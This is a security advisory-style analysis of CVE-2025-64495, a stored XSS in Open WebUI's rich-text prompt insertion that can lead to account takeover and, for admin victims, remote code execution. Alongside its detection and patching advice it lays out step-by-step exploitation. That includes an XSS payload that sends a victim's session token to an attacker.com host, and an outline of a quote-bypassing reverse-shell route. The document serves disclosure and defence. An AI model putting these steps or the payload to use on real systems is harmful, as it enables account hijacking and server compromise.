CVE-2025-64495: 
JavaScript vulnerability analysis and mitigation

CVE-2025-64495 is a Stored DOM Cross-Site Scripting (XSS) vulnerability in Open WebUI's 'Insert Prompt as Rich Text' feature that can lead to account takeover (ATO) and remote code execution (RCE). It affects Open WebUI versions up to and including 0.6.34 (both npm and pip packages), and was disclosed on November 7, 2025. The vulnerability was patched in version 0.6.35. The GitHub Security Advisory assigns a CVSS v3.1 score of 8.7 (High), while the NVD entry reflects a score of 5.4 (Medium) (Github Advisory, Open WebUI Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). In src/lib/components/common/RichTextInput.svelte at line 348, the replaceCommandWithText function passes user-controlled prompt content through marked.parse() and then directly assigns the result to tempDiv.innerHTML without HTML sanitization (Open WebUI Advisory). While marked.parse() imposes some character limitations, it does not sanitize HTML, allowing an attacker with prompt-creation permissions (USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS) to embed malicious JavaScript in a custom prompt. The payload executes in the browser of any victim user who triggers the corresponding /command with 'Insert Prompt as Rich Text' enabled in their preferences — a setting that is off by default. The fix, applied in commit eb9c4c0, wraps the marked.parse() output with DOMPurify.sanitize() before DOM assignment (Patch Commit).

For regular users, successful exploitation allows an attacker to read the victim's session token from localStorage and exfiltrate it to an attacker-controlled server, enabling full account takeover. For admin users, the impact escalates to server-side RCE: the injected JavaScript can silently issue authenticated API requests to /api/v1/functions/create, registering a malicious Python function (e.g., a reverse shell via os.system) that executes on the backend server (Open WebUI Advisory). This creates a path from a stored XSS payload to full operating system command execution on the host running Open WebUI, with potential for lateral movement within the server environment.

1. Obtain prompt-creation access: Ensure the attacker account has the USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS permission, either by default or via a custom group assignment in Open WebUI.
2. Craft a malicious prompt: Create a custom prompt containing an XSS payload. For session token theft, embed JavaScript that reads localStorage and sends the token to an attacker-controlled server (e.g., <img src=x onerror="fetch('https://attacker.com/?t='+localStorage.getItem('token'))">).
3. Bypass quote sanitization for RCE: Since marked.parse() neutralizes quotes, construct the JavaScript payload using String.fromCodePoint() to encode each character by its decimal value. Use the provided Python script to automate encoding a fetch() call to /api/v1/functions/create with a malicious Python function body (e.g., a reverse shell: import os;os.system('bash -c \'...\'')).
4. Plant the payload: Save the malicious prompt in Open WebUI under a recognizable /command name (e.g., /poc).
5. Trigger victim execution: Wait for or socially engineer a victim user (ideally an admin) who has 'Insert Prompt as Rich Text' enabled to invoke the /command in a chat window.
6. Achieve objective: For regular users, receive the exfiltrated session token and use it to hijack the account. For admin victims, the registered Python function executes on the server, establishing a reverse shell or running arbitrary OS commands (Open WebUI Advisory).

• Network: Unexpected outbound HTTP requests from the Open WebUI server or client browsers to unknown external IPs/domains, particularly carrying URL parameters resembling session tokens or encoded data; outbound TCP connections on non-standard ports (e.g., 443 to attacker IPs) from the backend server process.
• Logs: Open WebUI API logs showing POST requests to /api/v1/functions/create with unusual or obfuscated content fields containing Python code (e.g., import os, os.system, bash -c, /dev/tcp/); browser console errors related to innerHTML assignment or DOMPurify (on patched versions).
• File System / Application State: Unexpected Python functions appearing in the Open WebUI Functions workspace with suspicious names or content containing OS command execution; new functions created by non-admin users or at unusual times.
• Process: Unexpected child processes spawned by the Open WebUI Python backend (e.g., bash, sh, nc, python) that are not part of normal LLM inference workflows (Open WebUI Advisory).

Upgrade Open WebUI to version 0.6.35 or later, which applies DOMPurify.sanitize() to the marked.parse() output before DOM assignment, eliminating the injection vector (Patch Commit, Github Advisory). As an interim workaround, disable the 'Insert Prompt as Rich Text' setting in user preferences (it is off by default), and restrict the USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS permission to trusted users only. Additionally, implement a Content Security Policy (CSP) to restrict inline script execution, and rotate active user sessions after patching.

The vulnerability was covered by SecurityOnline.info and the OSINT Team blog, highlighting the XSS-to-RCE escalation path as particularly notable for an AI platform (SecurityOnline). DarkWebInformer flagged the CVE on social media (Bluesky, X/Twitter) in mid-November 2025, and it appeared in community CVE trending lists on Reddit's r/CVEWatch for multiple consecutive days. Cyble included it in their Patch Tuesday and weekly vulnerability roundups, noting the RCE risk for admin users (Cyble). The Qualys application security team published detection coverage for the vulnerability in their November 2025 detections release.